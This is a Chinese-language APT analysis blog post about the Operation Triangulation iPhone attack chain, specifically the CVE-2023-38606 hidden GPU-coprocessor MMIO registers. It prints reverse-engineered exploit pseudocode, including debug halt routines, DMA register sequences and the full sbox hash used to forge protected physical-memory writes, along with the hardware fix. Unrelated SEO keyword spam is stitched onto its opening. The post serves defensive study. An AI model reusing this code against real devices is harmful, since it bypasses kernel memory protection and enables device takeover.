企业官网建设流程全解析

怎么做安居客网站,做仿牌网站被封,我们的网站正在建设之中,聊城网站开发Part1 前言 大家好#xff0c;我是ABC_123。前面ABC_123连续写了7篇文章#xff0c;讲解了三角测量的发现与漏洞利用过程#xff0c;但是7篇文章还是不足以把这个极其复杂的安全事件写完#xff0c;因为这个APT案例研究起来太烧脑了#xff1b;但是技术研究就是要一步步给…Part1 前言大家好我是ABC_123。前面ABC_123连续写了7篇文章讲解了三角测量的发现与漏洞利用过程但是7篇文章还是不足以把这个极其复杂的安全事件写完因为这个APT案例研究起来太烧脑了但是技术研究就是要一步步给自己上难度逼着自己进步。本期我们继续上难度研究一下底层漏洞的利用。目前对于这个极其复杂的漏洞利用链的一些方面一些国际领先的安全公司还在做深入研究目前还处于未完全理解的状态这篇文章大量引用了卡巴斯基Kaspersky官方分析报告的内容。注有一个问题值得思考攻击者是如何知道苹果芯片的这些硬件特性的相信读者看完这篇文章有自己的答案。声明ABC_123撰写APT分析类文章旨在分享关于APT攻击的认知与防范措施文中所有分析材料均来源于互联网公开信息不涉及任何内部资料流程图绘制主要依靠PPT、Xmind、draw仅承接APT案例讲解、APT组织介绍、APT技战法分析、APT攻防类的培训课程不做对外、涉外以及菠菜、情报、箱子、黑灰产等相关项目相关问题将不再回复。Im not an official worker, only sharing advanced APT hacking techniques with the world. All materials are obtained from the internet.《第135篇美国APT的苹果手机三角测量行动是如何被溯源发现的》《第136篇美国NSA的苹果手机三角测量后门的窃密模块分析 | 机器学习引擎识别照片信息》《第137篇揭秘美国NSA的苹果手机三角测量后门的隐匿手段》《第138篇俄罗斯卡巴斯基是如何发现美国iPhone手机三角测量攻击的 》《第139篇美国苹果手机三角测量验证器后门样本及0day漏洞是如何被捕捉到的》《第140篇美国NSA苹果手机零点击漏洞入侵中国国家授时中心的流程图梳理和分析》《第141篇美国苹果手机三角测量iMessage消息附件后门及辅助模块样本是如何被捕捉到的》Part2 技术研究过程前置基础知识苹果系统级芯片SoCApple System on a Chip是一个包括 CPU 在内的更大范围的集成系统 指由苹果公司自行设计、用于 iPhone、iPad、Mac 等设备的 SoC比如 A 系列、M 系列芯片。是一个集成了多个组件的单一芯片它不仅包含了 CPU中央处理单元还可能包含 GPU图形处理单元、内存控制器、无线通信模块如Wi-Fi、蓝牙、音频处理单元、图像信号处理器、存储控制器等各种硬件功能。DeviceTree设备树是一种数据结构/设备描述文件用于描述系统中硬件的拓扑结构和资源信息。DeviceTree 是操作系统与硬件之间的“契约”告诉操作系统当前这台设备有哪些硬件以及这些硬件怎么访问。它主要包括设备名称与类别、MMIO 寄存器的基址和大小、中断号/中断映射、时钟、复位/电源管理信息、程序无法自动探测的总线设备信息。内核需要在启动时知道怎样初始化这些硬件DeviceTree 就是内核启动前的硬件元数据来源苹果内核不会直接扫描硬件总线去找设备而是通过 DeviceTree 获取硬件信息然后初始化驱动。dt工具从固件镜像中提取 DeviceTreeDT / DTB解析 DeviceTree 的结构化内容以更人类可读的格式展示和查询设备节点支持分析 MMIO 地址、中断、设备资源等内容。它的核心功能是把 DeviceTree Binary BlobDTB 还原为可读可操作的结构。CVE-2023-38606 苹果硬件级漏洞该漏洞本质是一个未被公开、未被正常使用的硬件 MMIO 接口允许攻击者在特定条件下执行任意物理内存写DMA从而绕过 iOS 的页面保护层PPL等关键安全机制。针对 CVE-2023-38606苹果在较新的 iPhone 机型中对内核内存的敏感区域引入了基于硬件的安全防护。这类防护机制的设计目标是在攻击者即便具备内核内存读写能力的情况下仍然阻止其完全接管设备而此前的攻击正是通过利用 CVE-2023-32434 达成了这一点。为了绕过上述硬件级内存防护三角测量攻击链进一步利用了苹果 SoC 中的另一项硬件特性。概括而言这项特性允许攻击者通过向芯片中固件未使用的、未知的硬件寄存器写入数据、目标物理地址以及对应的数据哈希从而实现对指定物理地址的写操作并成功绕过硬件层面的内存保护机制。我们推测这一未知的硬件特性很可能是苹果工程师或工厂在调试或测试阶段预留的接口亦或是被误加入到量产芯片中的设计残留。由于现有固件并未使用该特性其具体用途和设计初衷尚不明确也因此无法确定攻击者是如何获知并掌握其利用方式的也不排除是攻击者遗留的后门。漏洞利用涉及多个未知MMIO地址苹果 SoC 中集成了多种外围设备这些设备通常通过一组专用的硬件寄存器与 CPU 进行交互。为了便于 CPU 访问和控制这些外围设备这些硬件寄存器会被映射到 CPU 可访问的内存地址空间中这种机制被称为内存映射 I/OMemory-Mapped I/OMMIO。在苹果产品包括 iPhone、Mac 及其他设备中各类外设的 MMIO 地址范围被集中描述并存储在一种称为 DeviceTree设备树 的特殊文件格式中。设备树由固件提供可从固件镜像中提取并可借助 dt 等工具对其内容进行解析和查看。下图展示了设备树中用于描述 MMIO 地址范围的一个示例在MMIO模式下CPU 对某个物理地址执行读写操作如果这个地址对应 MMIO 区域硬件设备接收到访问并做出响应。我们可以看到 cpu0 的 acc-impl MMIO 范围的起始地址0x210f00000和大小0x50000。在分析三角测量攻击行动时漏洞利用针对苹果 A12 至 A16 Bionic SoC目标是位于以下地址的未知 MMIO 寄存器块0x206040000、0x206140000 和 0x206150000。研究人员发现攻击者用来绕过基于硬件的内核内存保护的大多数 MMIO 并不属于设备树中定义的任何 MMIO 范围。为了进一步确认该判断研究人员尝试了不同的方法检查了不同设备和不同固件文件的设备树文件依然没有相关寄存器块的内容查看了公开可用的源代码也没有结果检查了内核镜像、内核扩展、iboot 和协处理器固件寻找对这些地址的直接引用结果同样是一无所获。最终一系列的疑问出现了这些利用的 MMIO 地址为何没有被固件使用攻击者是如何发现它们的这些 MMIO 地址属于哪些外设设备接着研究人员灵感来了在靠近这些未知 MMIO 块区域内可能存在已知的 MMIO这个方法很有效。最后通过查看gfx-asc设备树条目的转储内容发现了端倪它与GPU协处理器相关。它有两个MMIO 范围0x206400000–0x20646C000 和 0x206050000–0x206050008接下来看一下它们与利用程序使用的区域是如何关联的gfx-asc MMIO 范围与利用程序使用的地址的关联性如下图所示。通过对漏洞代码进行逆向分析该漏洞利用了以下未知地址0x206040000、0x206140008、0x206140108、0x206150020、0x206150040 和 0x206150048这些地址大多数位于两个 gfx-asc 区域之间而剩下的一个则位于第一个 gfx-asc 区域的起始附近这表明所有这些 MMIO 寄存器很可能都属于 GPU 协处理器攻击者利用的 CVE-2023-38606 硬件漏洞很可能与 GPU 协处理器gfx-ASC相关。之后安全专家分析了三角测量行动中的漏洞利用代码发现了证实上述猜想的证据。漏洞利用程序在初始化时做的第一件事是写入另一个 MMIO 寄存器而该寄存器在每个 SoC 上的地址都不同如下代码所示A12至A16都不一样。if (cpuid 0x8765EDEA): # CPUFAMILY_ARM_EVEREST_SAWTOOTH (A16) base 0x23B700408 command 0x1F0023FF elif (cpuid 0xDA33D83D): # CPUFAMILY_ARM_AVALANCHE_BLIZZARD (A15) base 0x23B7003C8 command 0x1F0023FF elif (cpuid 0x1B588BB3): # CPUFAMILY_ARM_FIRESTORM_ICESTORM (A14) base 0x23B7003D0 command 0x1F0023FF elif (cpuid 0x462504D2): # CPUFAMILY_ARM_LIGHTNING_THUNDER (A13) base 0x23B080390 command 0x1F0003FF elif (cpuid 0x07D34B9F): # CPUFAMILY_ARM_VORTEX_TEMPEST (A12) base 0x23B080388 command 0x1F0003FF if ((~read_dword(base) 0xF) ! 0): // 先读寄存器状态 write_dword(base, command) // 向硬件发出“初始化 / 解锁 / 使能”命令,改变内部状态机 while(True): if ((~read_dword(base) 0xF) 0): break借助设备树和 Siguza 的工具 pmgr发现所有这些地址都对应于电源管理器 MMIO 范围内的 GFX 寄存器。最后尝试访问这些未知区域中的寄存器时得到了第3个证据证实上述猜想几乎瞬间GPU 协处理器产生了提示消息“GFX SERROR Exception class0x2f (SError interrupt), IL1, iss0 – power(1)”。通过上述的研究和分析我们能够确认所有这些用于利用的未知 MMIO 寄存器都属于 GPU 协处理器。这促使安全人员更深入地研究其固件固件同样是用 ARM 编写且未加密但在其中找不到与这些寄存器相关的任何内容。未知的 MMIO 寄存器的真实用途接着仔细研究该漏洞是如何操作这些未知的 MMIO 寄存器的。寄存器 0x206040000 在所有寄存器中尤为突出因为它位于一个独立的 MMIO 块中与其他寄存器分开。它只在漏洞利用的初始化和结束阶段被访问初始化时它是第一个被设置的寄存器结束时则是最后一个。从经验来看很明显该寄存器要么是用来启用/禁用漏洞利用所用的硬件功能要么是用来控制中断的。于是开始追踪中断路径不久后成功识别出了这个未知寄存器 0x206040000并且还发现了地址范围 0x206000000–0x206050000 到底映射了什么。如下所示这是研究人员识别出的漏洞利用程序的逆向代码即漏洞利用中关于 0x206040000 寄存器的伪代码。研究者通过分析漏洞利用中对地址 0x206040000 的访问模式确认该寄存器是一个隐藏的调试/中断控制寄存器用于在 exploit 初始化阶段暂停 CPU、在结束阶段恢复 CPU。这一发现揭示了攻击者是通过操控 SoC 内部的调试硬件来配合完成后续的内核保护绕过。def ml_dbgwrap_halt_cpu(): // debug wrapper调试封装暂停 value read_qword(0x206040000) if ((value 0x90000000) ! 0): return write_qword(0x206040000, value | 0x80000000) while (True): if ((read_qword(0x206040000) 0x10000000) ! 0): break def ml_dbgwrap_unhalt_cpu(): // debug wrapper调试封装,恢复 value read_qword(0x206040000) value (value 0xFFFFFFFF2FFFFFFF) | 0x40000000 write_qword(0x206040000, value) while (True): if ((read_qword(0x206040000) 0x10000000) 0): break在后续的一系列分析过程中发现在 XNU 源代码中存在一个名为 dbgwrap.c 的文件其中包含一个与前述伪代码中同名的函数 ml_dbgwrap_halt_cpu。该文件主要用于操作主 CPU 的 ARM CoreSight 调试硬件通过一组 MMIO 调试寄存器实现对 CPU 执行状态的控制。源代码中指出CoreSight 调试模块由四个相邻的 MMIO 区域组成分别命名为 EDEmbedded Debug、CTICross Trigger Interface、PMUPerformance Monitor Unit 和 UTT。每个区域占用 0x10000 字节并在物理地址空间中连续排列。其中ml_dbgwrap_halt_cpu 函数使用的是 UTT 区域。源码明确说明与 ED、CTI 和 PMU 这三个源自 ARM 官方 CoreSight 架构的标准模块不同UTT 并非 ARM 规范的一部分而是苹果自行实现的私有扩展调试功能其引入主要是出于内部实现和使用便利性的考虑。研究人员可以向相应位置写入 ARM_DBG_LOCK_ACCESS_KEY这是 ARM CoreSight 架构中定义的标准调试解锁钥匙写入到特定寄存器后调试寄存器会被解锁随后可正常读写并产生预期行为确认 0x206000000–0x206050000 确实是 GPU 协处理器的 CoreSight MMIO 调试寄存器块。主 CPU 的每个核心都有自己的 CoreSight MMIO 调试寄存器块但与 GPU 协处理器不同的是它们的地址可以在设备树中找到。很快会有一个疑问这个漏洞利用的作者知道这些隐藏寄存器的存在、如何知道苹果私有 UTT 调试区域中用于解除 CPU 停止状态的用法这段代码并不属于 XNU 源代码的一部分说明攻击者掌握了 XNU 源码之外的 Apple SoC 内部调试细节也许可以通过实验不断调试分析发现。尽管可以确认并解释漏洞利用中第一个隐藏 MMIO 区域的用途但对于 exploit 在第二个未知 MMIO 区域中执行的操作目前既无法确定该区域具体包含哪些调试寄存器也无法解释在固件未使用这些寄存器的情况下攻击者是如何发现并成功利用它们的。寄存器 0x206140008 与 0x206140108 分别用于控制漏洞利用所依赖的硬件功能的启用/禁用以及运行状态漏洞代码正是通过对这两个寄存器的精细操作来驱动相关硬件模块其使用逻辑如后文伪代码所示。寄存器 0x206150020 仅存在于 Apple A15/A16 Bionic SoC 中。在漏洞利用的初始化阶段该寄存器被设置为 1而在漏洞执行完成后其值会被恢复为原始状态表明该寄存器可能用于控制某个 SoC 特有的功能开关或安全相关机制。寄存器 0x206150040 用于保存若干控制标志位并存储目标物理地址的低位部分推测其在漏洞利用过程中承担了目标地址配置的角色。def dma_ctrl_1(): ctrl 0x206140108 value read_qword(ctrl) write_qword(ctrl, value | 0x8000000000000001) sleep(1) while ((~read_qword(ctrl) 0x8000000000000001) ! 0): sleep(1) def dma_ctrl_2(flag): ctrl 0x206140008 value read_qword(ctrl) if (flag): if ((value 0x1000000000000000) 0): value value | 0x1000000000000000 write_qword(ctrl, value) else: if ((value 0x1000000000000000) ! 0): value value ~0x1000000000000000 write_qword(ctrl, value) def dma_ctrl_3(value): ctrl 0x206140108 value value | 0x8000000000000000 write_qword(ctrl, read_qword(ctrl) value) while ((read_qword(ctrl) 0x8000000000000001) ! 0): sleep(1) def dma_init(original_value_0x206140108): dma_ctrl_1() dma_ctrl_2(False) dma_ctrl_3(original_value_0x206140108) def dma_done(original_value_0x206140108): dma_ctrl_1() dma_ctrl_2(True) dma_ctrl_3(original_value_0x206140108)最后一个寄存器 0x206150048 用于存储需要写入的数据和目标物理地址的高半部分同时还包含数据哈希和另一个值可能是命令该硬件功能以对齐的 0x40 字节块写入数据所有内容应通过九次连续写操作写入 0x206150048 寄存器。利用 0x206150040 和 0x206150048 寄存器的伪代码只要一切操作正确硬件就会执行直接内存访问DMA操作并将数据写入请求的位置。if (cpuid 0x8765EDEA): # CPUFAMILY_ARM_EVEREST_SAWTOOTH (A16) // 不同 Apple SoC 对寄存器字段的位布局不同 i 8 mask 0x7FFFFFF elif (cpuid 0xDA33D83D): # CPUFAMILY_ARM_AVALANCHE_BLIZZARD (A15) i 8 mask 0x3FFFFF elif (cpuid 0x1B588BB3): # CPUFAMILY_ARM_FIRESTORM_ICESTORM (A14) i 0x28 mask 0x3FFFFF elif (cpuid 0x462504D2): # CPUFAMILY_ARM_LIGHTNING_THUNDER (A13) i 0x28 mask 0x3FFFFF elif (cpuid 0x07D34B9F): # CPUFAMILY_ARM_VORTEX_TEMPEST (A12) i 0x28 mask 0x3FFFFF dma_init(original_value_0x206140108) // DMA 初始化阶段 hash1 calculate_hash(data)hash2 calculate_hash(data0x20) write_qword(0x206150040, 0x2000000 | (phys_addr 0x3FC0)) pos 0while (pos 0x40): // 连续写入 64 字节数据,每次写 8 字节,总共写8次 write_qword(0x206150048, read_qword(data pos)) pos 8 // 第 9 次写真正触发 DMAphys_addr_upper ((((phys_addr 14) mask) 18) 0x3FFFFFFFFFFFF)value phys_addr_upper | (hash1 i) | (hash2 50) | 0x1Fwrite_qword(0x206150048, value) dma_done(original_value_0x206140108) // DMA 完成与清理GPU 协处理器中的隐藏 DMA 哈希校验漏洞及利用方式在上述攻击利用过程中向0x206150048写入数据需要进行哈希校验而该哈希算法是一个自定义算法使用了一个预定义的sbox进行哈希计算。Apple 在某个内部硬件模块中使用了一种可被完全重现的线性哈希校验来保护 DMA 写操作但由于缺乏权限和上下文校验该机制最终被漏洞利用用于绕过 PPL 并实现对受保护内存的写入。该漏洞利用了这一硬件特性作为页面保护层PPL绕过手段主要用于修补页表项它也可以用于修补受保护的 PPLDATA 段中的数据。该漏洞利用并未使用该特性来修补内核代码但在一次测试中研究人员成功地覆盖了内核 TEXT_EXEC 段中的一条指令并触发了带有预期地址和值的“未定义内核指令”恐慌。这只成功过一次而其他尝试均导致了 AMCC 恐慌这是一个很值得研究的课题因为如果能将一个曾被用来攻击我们的漏洞转而用于正面用途比如在新款 iPhone 上启用内核调试那将非常酷。既然所有与 MMIO 寄存器相关的工作都已介绍完毕让我们来看最后一件事哈希是如何计算的。算法如下所示。该未知硬件功能使用的哈希函数伪代码sbox [ 0x007, 0x00B, 0x00D, 0x013, 0x00E, 0x015, 0x01F, 0x016, 0x019, 0x023, 0x02F, 0x037, 0x04F, 0x01A, 0x025, 0x043, 0x03B, 0x057, 0x08F, 0x01C, 0x026, 0x029, 0x03D, 0x045, 0x05B, 0x083, 0x097, 0x03E, 0x05D, 0x09B, 0x067, 0x117, 0x02A, 0x031, 0x046, 0x049, 0x085, 0x103, 0x05E, 0x09D, 0x06B, 0x0A7, 0x11B, 0x217, 0x09E, 0x06D, 0x0AB, 0x0C7, 0x127, 0x02C, 0x032, 0x04A, 0x051, 0x086, 0x089, 0x105, 0x203, 0x06E, 0x0AD, 0x12B, 0x147, 0x227, 0x034, 0x04C, 0x052, 0x076, 0x08A, 0x091, 0x0AE, 0x106, 0x109, 0x0D3, 0x12D, 0x205, 0x22B, 0x247, 0x07A, 0x0D5, 0x153, 0x22D, 0x038, 0x054, 0x08C, 0x092, 0x061, 0x10A, 0x111, 0x206, 0x209, 0x07C, 0x0BA, 0x0D6, 0x155, 0x193, 0x253, 0x28B, 0x307, 0x0BC, 0x0DA, 0x156, 0x255, 0x293, 0x30B, 0x058, 0x094, 0x062, 0x10C, 0x112, 0x0A1, 0x20A, 0x211, 0x0DC, 0x196, 0x199, 0x256, 0x165, 0x259, 0x263, 0x30D, 0x313, 0x098, 0x064, 0x114, 0x0A2, 0x15C, 0x0EA, 0x20C, 0x0C1, 0x121, 0x212, 0x166, 0x19A, 0x299, 0x265, 0x2A3, 0x315, 0x0EC, 0x1A6, 0x29A, 0x266, 0x1A9, 0x269, 0x319, 0x2C3, 0x323, 0x068, 0x0A4, 0x118, 0x0C2, 0x122, 0x214, 0x141, 0x221, 0x0F4, 0x16C, 0x1AA, 0x2A9, 0x325, 0x343, 0x0F8, 0x174, 0x1AC, 0x2AA, 0x326, 0x329, 0x345, 0x383, 0x070, 0x0A8, 0x0C4, 0x124, 0x218, 0x142, 0x222, 0x181, 0x241, 0x178, 0x2AC, 0x32A, 0x2D1, 0x0B0, 0x0C8, 0x128, 0x144, 0x1B8, 0x224, 0x1D4, 0x182, 0x242, 0x2D2, 0x32C, 0x281, 0x351, 0x389, 0x1D8, 0x2D4, 0x352, 0x38A, 0x391, 0x0D0, 0x130, 0x148, 0x228, 0x184, 0x244, 0x282, 0x301, 0x1E4, 0x2D8, 0x354, 0x38C, 0x392, 0x1E8, 0x2E4, 0x358, 0x394, 0x362, 0x3A1, 0x150, 0x230, 0x188, 0x248, 0x284, 0x302, 0x1F0, 0x2E8, 0x364, 0x398, 0x3A2, 0x0E0, 0x190, 0x250, 0x2F0, 0x288, 0x368, 0x304, 0x3A4, 0x370, 0x3A8, 0x3C4, 0x160, 0x290, 0x308, 0x3B0, 0x3C8, 0x3D0, 0x1A0, 0x260, 0x310, 0x1C0, 0x2A0, 0x3E0, 0x2C0, 0x320, 0x340, 0x380] def calculate_hash(buffer): acc 0 for i in range(8): pos i * 4 value read_dword(buffer pos) for j in range(32): if (((value j) 1) ! 0): acc ^ sbox[32 * i j] return acc正如前文所示这是一个完全自定义的哈希算法其哈希值通过查表方式结合一个预定义的 sbox 表计算得出。于是有那就人员尝试在大量固件和二进制文件中搜索相关实现或使用痕迹但并未发现任何匹配结果。我们注意到这个哈希算法本身并不算安全其有效位数只有 20 位两次各 10 位的计算结果从传统密码学角度来看几乎不具备抗碰撞能力。然而在实际使用中只要外界并不知道该哈希的计算方式以及对应的硬件接口如何被正确驱动它仍然可以起到一定的保护作用。这种设计思路正是所谓的 “Security by Obscurity”。这也引出了一个关键问题如果该硬件特性在正常情况下并未被任何固件使用系统中也不存在关于其使用方式的公开实现那么攻击者究竟是如何发现并成功利用它的为此研究人员进行了进一步测试后续发现Mac内部的 M1 芯片同样包含这一未知的硬件特性。随后研究人员使用非常出色的 m1n1 工具进行实验该工具提供了trace_range功能可以对指定的 MMIO 地址范围进行访问追踪对物理地址区间 0x206110000–0x206400000 启用了追踪但结果显示macOS 并未对这些寄存器进行任何访问。漏洞修复通过 pmap-io-ranges 阻断 MMIO 漏洞利用路径研究人员原本希望通过分析 iOS 16.6 中针对该漏洞的修复补丁进一步弄清第二个未知内存区域的具体内容和用途。虽然已经确认了苹果用于缓解该漏洞的整体思路和实现方式但相关苹果的修复代码经过了刻意的混淆处理使得具体细节难以被直接还原和理解。苹果通过将漏洞利用所依赖的 MMIO 物理地址范围 0x206000000–0x206050000 和0x206110000–0x206400000 明确加入设备树中的 pmap-io-ranges 表来阻止该漏洞的利用。 XNU 内核在尝试映射物理地址时会查询该表并根据其中记录的信息决定该地址范围是否允许被映射到虚拟地址空间。在 pmap-io-ranges 中每一条记录都包含一个清晰的标签名用于标明该物理地址范围对应的内存或硬件类型例如外设寄存器或受保护的硬件区域。通过将漏洞相关的 MMIO 区域标记为不可访问系统可以在内存映射的最底层直接拒绝对这些寄存器的访问从而有效地阻断漏洞利用路径。pmap-io-ranges 中存储条目的示例在这些标签中PCIe 表示“外设组件互连快速通道”DART 表示“设备地址解析表”DAPF 表示“设备地址过滤器”等等。这些标签用于说明对应的物理地址范围属于哪一类硬件或内存区域而漏洞利用中所涉及的地址范围其对应的标签名称与上述常见标签明显不同具有很强的特殊性。下面列出的正是漏洞利用过程中使用到的区域条目。Part3 总结1. 只要存在能够绕过这些保护的硬件特性先进的基于硬件的保护在面对复杂攻击者时就是无用的。2. 三角测量系列漏洞是不是后门相信读者有自己的判断。3. 未完待续。为了便于技术交流现已建立微信群希水涵-信安技术交流群欢迎您的加入。公众号专注于网络安全技术分享包括APT事件分析、红队攻防、蓝队分析、渗透测试、代码审计等每周一篇99%原创敬请关注。Contact me: 0day123abc#gmail.comOR 2332887682#qq.com(replace # with )